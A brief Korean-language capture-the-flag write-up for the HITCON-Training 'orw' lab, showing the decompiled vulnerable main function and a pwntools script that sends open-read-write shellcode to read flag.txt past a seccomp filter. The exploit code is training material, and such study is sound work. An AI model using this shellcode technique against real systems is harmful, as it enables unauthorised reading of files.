[HITCON-Training]Lab2

local Exploit이라 그냥 flag.txt 만들어주고 했다. seccomp가 걸려있어서 orw밖에 사용하지 못한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

근데 입력받은걸 쉘코드 실행해주니까 open -> read -> write 으로 파일 열면 된다.

from pwn import *
 
e = ELF('./orw.bin')
p = process('./orw.bin')
payload = asm(shellcraft.pushstr("flag.txt"))
payload += asm(shellcraft.open('esp',0,0))
payload += asm(shellcraft.read('eax','esp',100))
payload += asm(shellcraft.write(1,'esp',100))
p.sendlineafter(':',payload)
p.interactive()